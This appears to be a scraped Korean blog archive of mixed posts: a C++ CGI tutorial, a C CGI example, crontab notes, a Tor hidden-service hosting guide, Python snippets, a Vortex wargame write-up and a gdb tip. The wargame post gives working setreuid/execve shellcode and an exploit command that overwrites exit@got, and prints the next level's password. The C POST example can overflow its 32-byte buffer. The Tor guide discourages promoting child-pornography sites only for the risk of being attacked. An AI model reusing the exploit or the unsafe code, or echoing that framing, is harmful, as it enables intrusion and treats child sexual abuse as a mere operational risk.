CONTENT_LENGTHThe length of the query information. It's available only for POST requests
HTTP_COOKIEReturn the set cookies in the form of key & value pair.
HTTP_USER_AGENTThe User-Agent request-header field contains information about the user agent originating the request. Its name of the web browser.
PATH_INFOThe path for the CGI script.
QUERY_STRINGThe URL-encoded information that is sent with GET method request.
REMOTE_ADDRThe IP address of the remote host making the request. This can be useful for logging or for authentication purpose.
REMOTE_HOSTThe fully qualified name of the host making the request. If this information is not available then REMOTE_ADDR can be used to get IR address.
REQUEST_METHODThe method used to make the request. The most common methods are GET and POST.
SCRIPT_FILENAMEThe full path to the CGI script.
SCRIPT_NAMEThe name of the CGI script.
SERVER_NAMEThe server's hostname or IP Address
SERVER_SOFTWAREThe name and version of the software the server is running.


Here is small CGI program to list out all the CGI variables. Click this link to see the result Get Environment


#include <iostream>
#include <stdlib.h>
using namespace std;

const string ENV[ 24 ] = {                 
        "COMSPEC", "DOCUMENT_ROOT", "GATEWAY_INTERFACE",   
        "HTTP_ACCEPT", "HTTP_ACCEPT_ENCODING",             
        "HTTP_ACCEPT_LANGUAGE", "HTTP_CONNECTION",         
        "HTTP_HOST", "HTTP_USER_AGENT", "PATH",            
        "QUERY_STRING", "REMOTE_ADDR", "REMOTE_PORT",      
        "REQUEST_METHOD", "REQUEST_URI", "SCRIPT_FILENAME",
        "SCRIPT_NAME", "SERVER_ADDR", "SERVER_ADMIN",      
        "SERVER_NAME","SERVER_PORT","SERVER_PROTOCOL",     
        "SERVER_SIGNATURE","SERVER_SOFTWARE" };   

int main ()
{
    
   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>CGI Envrionment Variables</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";
   cout << "<table border = \"0\" cellspacing = \"2\">";

   for ( int i = 0; i < 24; i++ )
   {
       cout << "<tr><td>" << ENV[ i ] << "</td><td>";
       // attempt to retrieve value of environment variable
       char *value = getenv( ENV[ i ].c_str() );  
       if ( value != 0 ){
         cout << value;                                 
       }else{
         cout << "Environment variable does not exist.";
       }
       cout << "</td></tr>\n";
   }
   cout << "</table><\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

C++ CGI Library

For real examples, you would need to do many operations by your CGI program. There is a CGI library written for C++ program which you can download from ftp://ftp.gnu.org/gnu/cgicc/ and following the following steps to install the library:

$tar xzf cgicc-X.X.X.tar.gz 
$cd cgicc-X.X.X/ 
$./configure --prefix=/usr 
$make
$make install

You can check related documentation available at C++ CGI Lib Documentation.

GET and POST Methods

You must have come across many situations when you need to pass some information from your browser to web server and ultimately to your CGI Program. Most frequently browser uses two methods two pass this information to web server. These methods are GET Method and POST Method.

Passing Information using GET method:

The GET method sends the encoded user information appended to the page request. The page and the encoded information are separated by the ? character as follows:

http://www.test.com/cgi-bin/cpp.cgi?key1=value1&key2=value2

The GET method is the default method to pass information from browser to web server and it produces a long string that appears in your browser's Location:box. Never use the GET method if you have password or other sensitive information to pass to the server. The GET method has size limitation and you can pass upto 1024 characters in a request string.

When using GET method, information is passed using QUERY_STRING http header and will be accessible in your CGI Program through QUERY_STRING environment variable

You can pass information by simply concatenating key and value pairs alongwith any URL or you can use HTML <FORM> tags to pass information using GET method.

Simple URL Example : Get Method

Here is a simple URL which will pass two values to hello_get.py program using GET method.

/cgi-bin/cpp_get.cgi?first_name=ZARA&last_name=ALI

Below is program to generate cpp_get.cgi CGI program to handle input given by web browser. We are going to use C++ CGI library which makes it very easy to access passed information:

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h>  

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc formData;
   
   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Using GET and POST Methods</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   form_iterator fi = formData.getElement("first_name");  
   if( !fi->isEmpty() && fi != (*formData).end()) {  
      cout << "First name: " << **fi << endl;  
   }else{
      cout << "No text entered for first name" << endl;  
   }
   cout << "<br/>\n";
   fi = formData.getElement("last_name");  
   if( !fi->isEmpty() &&fi != (*formData).end()) {  
      cout << "Last name: " << **fi << endl;  
   }else{
      cout << "No text entered for last name" << endl;  
   }
   cout << "<br/>\n";

   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Now, compile the above program as follows:

$g++ -o cpp_get.cgi cpp_get.cpp -lcgicc

Generate cpp_get.cgi and put it in your CGI directory and try to access using following link:

/cgi-bin/cpp_get.cgi?first_name=ZARA&last_name=ALI

This would generate following result:

First name: ZARA 
Last name: ALI 

Simple FORM Example: GET Method

Here is a simple example which passes two values using HTML FORM and submit button. We are going to use same CGI script cpp_get.cgi to handle this input.

<form action="/cgi-bin/cpp_get.cgi" method="get">
First Name: <input type="text" name="first_name">  <br />
 
Last Name: <input type="text" name="last_name" />
<input type="submit" value="Submit" />
</form>

Here is the actual output of the above form, You enter First and Last Name and then click submit button to see the result.


First Name:  
Last Name:  

Passing Information using POST method:

A generally more reliable method of passing information to a CGI program is the POST method. This packages the information in exactly the same way as GET methods, but instead of sending it as a text string after a ? in the URL it sends it as a separate message. This message comes into the CGI script in the form of the standard input.

The same cpp_get.cgi program will handle POST method as well. Let us take same example as above, which passes two values using HTML FORM and submit button but this time with POST method as follows:

<form action="/cgi-bin/cpp_get.cgi" method="post">
First Name: <input type="text" name="first_name"><br />
Last Name: <input type="text" name="last_name" />
 
<input type="submit" value="Submit" />
</form>

Here is the actual output of the above form, You enter First and Last Name and then click submit button to see the result.


First Name:  
Last Name:  

Passing Checkbox Data to CGI Program

Checkboxes are used when more than one option is required to be selected.

Here is example HTML code for a form with two checkboxes

<form action="/cgi-bin/cpp_checkbox.cgi" 
         method="POST" 
         target="_blank">
<input type="checkbox" name="maths" value="on" /> Maths
<input type="checkbox" name="physics" value="on" /> Physics
<input type="submit" value="Select Subject" />
</form>

The result of this code is the following form

 Maths  Physics 

Below is C++ program, which will generate cpp_checkbox.cgi script to handle input given by web browser through checkbox button.

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h> 

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc formData;
   bool maths_flag, physics_flag;

   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Checkbox Data to CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   maths_flag = formData.queryCheckbox("maths");
   if( maths_flag ) {  
      cout << "Maths Flag: ON " << endl;  
   }else{
      cout << "Maths Flag: OFF " << endl;  
   }
   cout << "<br/>\n";

   physics_flag = formData.queryCheckbox("physics");
   if( physics_flag ) {  
      cout << "Physics Flag: ON " << endl;  
   }else{
      cout << "Physics Flag: OFF " << endl;  
   }
   cout << "<br/>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Passing Radio Button Data to CGI Program

Radio Buttons are used when only one option is required to be selected.

Here is example HTML code for a form with two radio button:

<form action="/cgi-bin/cpp_radiobutton.cgi" 
         method="post" 
         target="_blank">
<input type="radio" name="subject" value="maths" 
                                    checked="checked"/> Maths 
<input type="radio" name="subject" value="physics" /> Physics
<input type="submit" value="Select Subject" />
</form>

The result of this code is the following form

 Maths  Physics 

Below is C++ program, which will generate cpp_radiobutton.cgi script to handle input given by web browser through radio buttons.

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h> 

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc formData;
  
   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Radio Button Data to CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   form_iterator fi = formData.getElement("subject");  
   if( !fi->isEmpty() && fi != (*formData).end()) {  
      cout << "Radio box selected: " << **fi << endl;  
   }
  
   cout << "<br/>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Passing Text Area Data to CGI Program

TEXTAREA element is used when multiline text has to be passed to the CGI Program.

Here is example HTML code for a form with a TEXTAREA box:

<form action="/cgi-bin/cpp_textarea.cgi" 
         method="post" 
         target="_blank">
<textarea name="textcontent" cols="40" rows="4">
Type your text here...
</textarea>
<input type="submit" value="Submit" />
</form>

The result of this code is the following form

 

Below is C++ program, which will generate cpp_textarea.cgi script to handle input given by web browser through text area.

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h> 

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc formData;
  
   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Text Area Data to CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   form_iterator fi = formData.getElement("textcontent");  
   if( !fi->isEmpty() && fi != (*formData).end()) {  
      cout << "Text Content: " << **fi << endl;  
   }else{
      cout << "No text entered" << endl;  
   }
  
   cout << "<br/>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Passing Drop Down Box Data to CGI Program

Drop Down Box is used when we have many options available but only one or two will be selected.

Here is example HTML code for a form with one drop down box

<form action="/cgi-bin/cpp_dropdown.cgi" 
                       method="post" target="_blank">
<select name="dropdown">
<option value="Maths" selected>Maths</option>
<option value="Physics">Physics</option>
</select>
<input type="submit" value="Submit"/>
</form>

The result of this code is the following form

 

Below is C++ program, which will generate cpp_dropdown.cgi script to handle input given by web browser through drop down box.

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h> 

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc formData;
  
   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Drop Down Box Data to CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   form_iterator fi = formData.getElement("dropdown");  
   if( !fi->isEmpty() && fi != (*formData).end()) {  
      cout << "Value Selected: " << **fi << endl;  
   }
  
   cout << "<br/>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Using Cookies in CGI

HTTP protocol is a stateless protocol. But for a commercial website it is required to maintain session information among different pages. For example one user registration ends after completing many pages. But how to maintain user's session information across all the web pages.

In many situations, using cookies is the most efficient method of remembering and tracking preferences, purchases, commissions, and other information required for better visitor experience or site statistics.

How It Works

Your server sends some data to the visitor's browser in the form of a cookie. The browser may accept the cookie. If it does, it is stored as a plain text record on the visitor's hard drive. Now, when the visitor arrives at another page on your site, the cookie is available for retrieval. Once retrieved, your server knows/remembers what was stored.

Cookies are a plain text data record of 5 variable-length fields:

  • Expires : The date the cookie will expire. If this is blank, the cookie will expire when the visitor quits the browser.

  • Domain : The domain name of your site.

  • Path : The path to the directory or web page that set the cookie. This may be blank if you want to retrieve the cookie from any directory or page.

  • Secure : If this field contains the word "secure" then the cookie may only be retrieved with a secure server. If this field is blank, no such restriction exists.

  • Name=Value : Cookies are set and retrieved in the form of key and value pairs.

Setting up Cookies

This is very easy to send cookies to browser. These cookies will be sent along with HTTP Header before to Content-type filed. Assuming you want to set UserID and Password as cookies. So cookies setting will be done as follows

#include <iostream>
using namespace std;

int main ()
{
 
   cout << "Set-Cookie:UserID=XYZ;\r\n";
   cout << "Set-Cookie:Password=XYZ123;\r\n";
   cout << "Set-Cookie:Domain=www.tutorialspoint.com;\r\n";
   cout << "Set-Cookie:Path=/perl;\n";
   cout << "Content-type:text/html\r\n\r\n";

   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Cookies in CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   cout << "Setting cookies" << endl;  
  
   cout << "<br/>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

From this example, you must have understood how to set cookies. We use Set-Cookie HTTP header to set cookies.

Here, it is optional to set cookies attributes like Expires, Domain, and Path. It is notable that cookies are set before sending magic line "Content-type:text/html\r\n\r\n.

Compile above program to produce setcookies.cgi, and try to set cookies using following link. It will set four cookies at your computer:

/cgi-bin/setcookies.cgi

Retrieving Cookies

This is very easy to retrieve all the set cookies. Cookies are stored in CGI environment variable HTTP_COOKIE and they will have following form.

key1=value1;key2=value2;key3=value3....

Here is an example of how to retrieving cookies.

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h>

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc cgi;
   const_cookie_iterator cci;

   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Cookies in CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";
   cout << "<table border = \"0\" cellspacing = \"2\">";
   
   // get environment variables
   const CgiEnvironment& env = cgi.getEnvironment();

   for( cci = env.getCookieList().begin();
        cci != env.getCookieList().end(); 
        ++cci )
   {
      cout << "<tr><td>" << cci->getName() << "</td><td>";
      cout << cci->getValue();                                 
      cout << "</td></tr>\n";
   }
   cout << "</table><\n";
  
   cout << "<br/>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Now, compile above program to produce getcookies.cgi, and try to get a list of all the cookies available at your computer:

/cgi-bin/getcookies.cgi

This will produce a list of all the four cookies set in previous section and all other cookies set at your computer:

UserID XYZ 
Password XYZ123 
Domain www.tutorialspoint.com 
Path /perl 

File Upload Example:

To upload a file the HTML form must have the enctype attribute set to multipart/form-data. The input tag with the file type will create a "Browse" button.

<html>
<body>
   <form enctype="multipart/form-data" 
            action="/cgi-bin/cpp_uploadfile.cgi" 
            method="post">
   <p>File: <input type="file" name="userfile" /></p>
   <p><input type="submit" value="Upload" /></p>
   </form>
</body>
</html>

The result of this code is the following form:

File: 

Note: Above example has been disabled intentionally to save people uploading files on our server. But you can try above code with your server.

Here is the script cpp_uploadfile.cpp to handle file upload:

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h>

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc cgi;

   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>File Upload in CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   // get list of files to be uploaded
   const_file_iterator file = cgi.getFile("userfile");
   if(file != cgi.getFiles().end()) {
      // send data type at cout.
      cout << HTTPContentHeader(file->getDataType());
      // write content at cout.
      file->writeToStream(cout);
   }
   cout << "<File uploaded successfully>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

The above example is writing content at cout stream but you can open your file stream and save the content of uploaded file in a file at desired location.

Hope you enjoyed this tutorial. If yes, please send me your feedback at: Contact Us

Posted by k1rha
2013. 11. 18. 23:40

form.html

<html>
 <head>  <title> POST example</title> </head>
 <body>
  <center>
 <form action="http://localhost/cgi-bin/posttest.exe" method="POST">
  <input type="text" name="m"/> x 
  <input type="text" name="n"/> = 
  <input type="text" value=""/><br>
  <input type="submit" value="보여주세요"/>
 </form>
  </center>
 </body>
</html>


posttest.exe

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) {
 char content[32];
 long m,n;
 long length;

 /* POST방식으로 요청한 문자열의 크기를 구한다 */
 char *content_len = getenv("CONTENT_LENGTH");

 /* 문자열의 크기는 문자열 형식이므로 정수로 변환한다 */
 sscanf(content_len, "%ld", &length);

 /* 표준입력스트림(stdin)으로부터 요청 문자열을 읽어온다 */
 fgets(content, length+2, stdin);

 printf("Content-Type:text/html;charset=euc-kr\n\n");

 printf("<html><head><title> POST요청, 곱셈결과 </title></head>\n");
 printf("<body><center>\n");
 printf("<h3>POST요청, 곱셈결과</h3>\n");

 printf("전달된 파라미터 : %s <br>\n 문자수 : %d \n", content, strlen(content));

 if(content==NULL) {
  printf("<p>웹브라우저에서 전달된 파라미터 문자열이 없습니다.<br>\n");
  printf("<p>요청폼에 2개의 수를 입력하고 다시 해보세요.<br>\n");
 }
 else if(sscanf(content, "m=%ld&n=%ld", &m, &n)!=2) 
  printf("<p>파라미터의 값은 정수이어야 합니다<br>.\n");
 else
  printf("<p>계산 결과: %ld * %ld = %ld.\n", m,n,m*n);

 printf("</center></body>\n");

 return 0;

}



Posted by k1rha
2013. 11. 17. 12:06

[출처 : http://blog.naver.com/wiznux?Redirect=Log&logNo=60202504815 ]

crontab은 스케줄링을 관리하는 프로그램으로 시스템 관리자에게 중요한 유틸 중 하나이다. 특정 시간대에 사용자가 작성한 스트립트나 명령을 실행 할 수 있다. 이는 rsync 같은 툴을 같이 사용하여 굉장히 편리한 백업 시스템을 만들 수도 있고 데이터 베이스관리나 기타 반복적인 업무를 간편하게 등록하여 사용 할 수 있다.

MIN HOUR DOM MON DOW CMD
필드명세허용 값
MIN0~59
HOUR시간0~23
DOM날짜1-31
MON1-12
DOW0-6
CMD명령어실행 가능 한 모든 명령어

1. 다음 시간 6월 10일 오전 8시 30분 을 cron 명령어에 맞게 작성해보자.

30 08 10 06 * /home/script/backup


Posted by k1rha
2013. 11. 6. 23:16

[출처 : http://blog.naver.com/mal031?Redirect=Log&logNo=100194620275  ]


링크만 남겨야하는데, 늘 링크만 남겼다가 자료가 없어지는 경우가 많아서... 퍼온 뒤 출처를 남긴다.




토르는 3단계 이상 우회하여 접속하는 익명 네트워크이다. 토르를 통해 접속하면 접속한 서버에서는 누가 접속해는지 알 방법이 없는데 마찬가지로 사이트 자체도 익명화가 가능하다. 이를 히든서비스라 부르는데 주소는 해쉬형태의 값을 가지며 .onion으로 끝난다.

 

작동 방법은 간단한데 서버에서 localhost전용서버를 열고 히든서비스에 등록하면 된다.

히든서비스에 등록하면 .onion주소를 얻는데 사이트를 홍보하기 위해 히든위키에 주소와 사이트 소개를 올린다.

 

흔히 딥웹이라고 하면 범죄사이트의 온상이라는 다소 환상적인 이미지가 강하지만 딥웹 사이트들은 위에서 설명한 과정을 통해 개설되었고 히든위키는 그 사이트 주소를 한데 모아둔 것에 불과하다.

 

이 강좌에서는 윈도우용 xampp를 이용해 Apache 서버를 열고 가벼운 이미지보드인 TinyIB를 이용해 이미지보드를 개설하는 방법을 설명한다. Unix환경도 기본적인 동작원리는 같다.

설정 파일을 수정해야 할 때가 있는데 메모장은 글자가 깨지므로 워드패드나 notepad++같은 에디터 사용을 권장한다.

 

준비물

1. xampp(압축형 권장) http://www.apachefriends.org/en/xampp-windows.html

2. 토르 브라우저 https://www.torproject.org/projects/torbrowser.html

3. TinyIB https://github.com/tslocum/TinyIB/archive/master.zip

 

 

localhost 이미지보드개설  

 

1. xampp를 C:\에 푼다. C:\ 이외에 usb드라이브나 램디스크를 이용해도 된다.

2. C:\xampp\apache\conf\httpd.conf 파일을 열고

#Listen 12.34.56.78:80
Listen 80

Listen 127.0.0.1:80
#Listen 80

로 바꿔준다. 이 작업을 하지 않으면 토르없이도 외부에서 접속할 수 있기 때문에 반드시 해야한다.

3. xampp-control을 실행하여 Apache옆의 Start 버튼을 누른다. mysql도 쓴다면 같이 켜준다. 별다른 에러메시지가 없다면 가동에 성공한 것이다.

4. C:\xampp\htdocs 에 있는 파일을 모두 지우고 위에서 받은 TinyIB를 풀어준다.

5. C:\xampp\htdocs\settings.default.conf 의 파일명을 settings.conf로 바꾸고 파일내의 TRIPSEED값과 ADMINPASS값을 설정해준다.

6. 인터넷 브라우저상에서 http://127.0.0.1/imgboard.php 에 접속한다.

 

 

 

Tor hidden service에 등록




1. 토르를 실행하고 설정-서비스들에서 서비스를 추가한다. 가상포트는 80, 디렉터리는 히든서비스 정보가 저장될 위치를 지정한다. 위치를 지정하기 전에 폴더가 존재하는지 확인한다. 없으면 만들어주자. ex)C:\xampp\torrc\

2. 확인을 누른 후 다시 설정-서비스들에 가면 양파주소가 생긴것을 확인할 수 있다. 이제 주소를 복사하기 위해 서비스를 선택하고(80을 누르면 선택된다) 복사 아이콘(겹친 종이모양)을 누르면 주소가 복사된다. 토르가 실행중이 아닐 때에는 위에서 설정한 C:\xampp\torrc\ 에서 확인할 수 있다.

3. 토르 브라우저에 주소를 복사하여 접속한다.

 

히든위키에 홍보

이제 내가 만든 사이트를 딥웹 세계에 알리기 위해 히든위키에 접속해서 자신의 주소를 올리고 간략히 설명하도록 한다. 단, 아동포르노(그림이 아닌 실제아동)는 해외 해커들의 공격대상이 될 수 있으니 자제하도록 한다.

 

주의사항

토르 네트워크 자체는 익명성을 보장하지만 접속자의 PC나 서버가 바이러스에 감염되면 스스로 개인정보를 유출해버릴 수 있다. 보안을 위해 다음과 같은 사항을 지켜야 한다.

1. 백신설치

2. 사이트 내에 개인정보를 남기지 말 것

3. IP와 같은 서버의 정보를 보여줄 수 있는 코드를 넣지 말 것

4. 아동포르노와 같이 미국정부나 해커를 자극할만한 사이트를 함부로 히든위키에 홍보하지 말 것, 자신의 보안실력을 100% 신뢰하지 않는다면 정말로 하지 않는편이 좋다

 

 

 

익명사이트/딥웹만들기/딥웹개설/익명사이트 만들기/딥웹 호스팅/익명사이트 호스팅/


Posted by k1rha
2013. 11. 6. 22:22

window7 으로 바뀌면서 여러가지 파일 및 명령어에 많은 권한이 생겼다.

이런 경우 일반 유저권한으로 파일을 만들었을때 제대로 동작하지 않는 것들이 많게 되는데,

py2exe 를 사용하고 있다면 컴파일 당시 권리자 권한을 요구 할 수 있다.


다음구조를 옵션으로 추가해 주면된다.




setup ( 
    windows
= [
       
{
           
"script" : "Chameleon.py",
           
"uac_info" : "requireAdministrator",
       
}
   
]
)


Posted by k1rha
2013. 10. 21. 11:22


출처 : http://pydjango.tistory.com/30



python Win32모듈 다운로드 후 아래 코드 작성

다운로드

아래 코드 작성 저장후 서비스 등록은 python filename.py install, 서비스 시작은 python filename.py start

### Run Python scripts as a service example (ryrobes.com)
### Usage : python aservice.py install (or / then start, stop, remove)

import win32service
import win32serviceutil
import win32api
import win32con
import win32event
import win32evtlogutil
import os, sys, string, time

class aservice(win32serviceutil.ServiceFramework):
    _svc_name_ = "Service short Name"
    _svc_display_name_ = "Service Display Name"
    _svc_description_ = "Service description


    def __init__(self, args):
        win32serviceutil.ServiceFramework.__init__(self, args)
        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)

    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        win32event.SetEvent(self.hWaitStop)

    def SvcDoRun(self):
        import servicemanager
        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE,servicemanager.PYS_SERVICE_STARTED,(self._svc_name_, ''))

       self.timeout = 640000    #640 seconds / 10 minutes (value is in milliseconds)
       #self.timeout = 120000     #120 seconds / 2 minutes
       # This is how long the service will wait to run / refresh itself (see script below)

       while 1:
          # Wait for service stop signal, if I timeout, loop again
          rc = win32event.WaitForSingleObject(self.hWaitStop, self.timeout)
          # Check to see if self.hWaitStop happened
          if rc == win32event.WAIT_OBJECT_0:
            # Stop signal encountered
            servicemanager.LogInfoMsg("SomeShortNameVersion - STOPPED!")  #For Event Log
            break
          else:
            t=time.localtime()
            if t.tm_min==0 or t.tm_min==30:
                #Ok, here's the real money shot right here.
                #[actual service code between rests]
                try:
                    file_path = "C:\PYTHON\filename.py"
                    execfile(file_path)             #Execute the script
                except:
                    pass
                #[actual service code between rests]
            else:
                pass


def ctrlHandler(ctrlType):
    return True

if __name__ == '__main__':
   win32api.SetConsoleCtrlHandler(ctrlHandler, True)
   win32serviceutil.HandleCommandLine(aservice)


Posted by k1rha
2013. 10. 10. 00:13


[vortex] level3 -> level4


IP : 178.79.134.250

PORT : 22

ID : vortex3

PW : 64ncXTvx#

http://www.overthewire.org/wargames/vortex/vortex3.shtml ]

Level 3 → Level 4

1 /* 2 * 0xbadc0ded.org Challenge #02 (2003-07-08) 3 * 4 * Joel Eriksson <je@0xbadc0ded.org> 5 */ 6 7 #include <string.h> 8 #include <stdlib.h> 9 #include <stdio.h> 10 11 unsigned long val = 31337; 12 unsigned long *lp = &val; 13 14 int main(int argc, char **argv) 15 { 16 unsigned long **lpp = &lp, *tmp; 17 char buf[128]; 18 19 if (argc != 2) 20 exit(1); 21 22 strcpy(buf, argv[1]); 24 if (((unsigned long) lpp & 0xffff0000) != 0x08040000) 25 exit(2); 27 tmp = *lpp; 28 **lpp = (unsigned long) &buf; 29 // *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30 30 31 exit(0); 32 }


중요시 봐야할 점은 29번째 라인까지 왔을때의 포인터 관계는 다음과 같다 .
tmp = *lpp  // lpp 가 가르키는 값 즉 val 값이 들어간다.
**lpp=&buf; //buffer에 쉘코드를 박으면 **lpp는 그것을 가르킨다.

변조한 *lpp 이 가르키는 곳에 &buff, 즉 쉘코드를 가르키게 할 수 있다.
ret 을 덮어 띄워서 일반적인 BOF를 하고 싶지만 코드 끝에 exit(0) 이 있어서
ret을 호출하기 전에 종료 되므로 다른 방법을 써야 한다.

방안 1) dtors 를 덮어 씌워 종료시 쉘코드를 호출 시킨다.  
       //다른 블로그엔 이방법을 많이 썼으나 필자는 dtors를 가르키는 주소가 없음.

방안 2) exit@got 을 덮어 씌운다. 두번째 exit가 호출될 때 쉘코드가 호출 된다.

(gdb) x/xi 0x8048320  //exit@PLT
   0x8048320 <exit@plt>: jmp    *0x8049738

(gdb) p exit 
$1 = {<text variable, no debug info>} 0x8048320 <exit@plt>
//code section 부터 0x8049738 주소가 있는 곳을 뒤져볼 생각이였음.

(gdb) find  0x8048320 , + 10000 , 0x8049738
warning: Unable to access target memory at 0x8048320, halting search.
Pattern not found. 
//access 권한이 없어서 검색 범위를 좁힘.

(gdb) find  0x8048320 , +100 , 0x8049738
0x8048322 <exit@plt+2>
//이 주소가 가르키는 곳이 exit@got 이다.

1 pattern found.

스택의 구조는 아래와 같다. 
stack struct
[ buff = 128 ] [ tmp = 4 ] [ lpp = 4  ] [ sfp ] [ ret ] 

 shellcode(43) + dummy(89) + *(exit@got) 

[shellcode k1rha.s]

.global main

main:

xor %ecx,%ecx

mov $0x138c, %cx

xor %ebx,%ebx

mov $0x138c, %bx

xor %eax,%eax

mov $0x46, %al

int $0x80


xor %eax,%eax

xor %edx,%edx


movb $0xb,%al

push %edx

push $0x68732f2f

push $0x6e69622f

mov %esp,%ebx

push %edx

push %ebx

movl %esp,%ecx

int $0x80


gcc -o k1rha k1rha.s -m32 -z execstack  //stack 실행권한 및 32비트 설정

sizeof( \x31\xc9\x66\xb9\x8c\x13\x31\xdb\x66\xbb\x8c\x13\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80 ) == 43 byte



[ attack ]

vortex3@melinda:/vortex$ ./vortex3 `python -c 'print "\x31\xc9\x66\xb9\x8c\x13\x31\xdb\x66\xbb\x8c\x13\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "a"*89 + "\x22\x83\x04\x08"'`
$ id
uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
2YmgK1=jw


'War_Game > Vortex' 카테고리의 다른 글

[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level2 -> level3  (0) 2012.03.31
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha
2013. 10. 9. 00:11

[gdb] gdb find 의 활용 (원하는 메모리 값 찾기)


gdb로 메모리상에 특정값을 찾는 주소를 찾는 방법


[출처 :http://sourceware.org/gdb/onlinedocs/gdb/Searching-Memory.html]


find [/sn] start_addr, +len, val1 [, val2, ...]
find [/sn] start_addr, end_addr, val1 [, val2, ...]

Search memory for the sequence of bytes specified by val1, val2, etc. The search begins at address start_addr and continues for either len bytes or through to end_addr inclusive.


ex)

(gdb) find 0xf7ee4520, +1000000 ,"\x43"

0xf7f52c69 <dl_iterate_phdr+425>

0xf7f77d29

0xf7f792ec

0xf7f7936c

0xf7f7f1d0

0xf7f7f654

0xf7f7f6c4

0xf7f7f820

0xf7f7faf4

0xf7f7fdb0

0xf7f7fe24

0xf7f7fe6c

0xf7f7fe80

0xf7f7fe94

0xf7f7fea8

0xf7f7fef4

0xf7f7ff34

0xf7f806d8



'System_Hacking' 카테고리의 다른 글

Shellcode Database  (0) 2013.12.12
[ 펌 ] win gdb 명령어  (0) 2013.12.12
[Shellcode] open-read-write(stdout)  (0) 2013.07.27
32bit unistd.h System call Number  (0) 2013.07.21
GDB 명령어 완벽 가이드  (0) 2013.06.10
Posted by k1rha
2013. 10. 5. 13:16
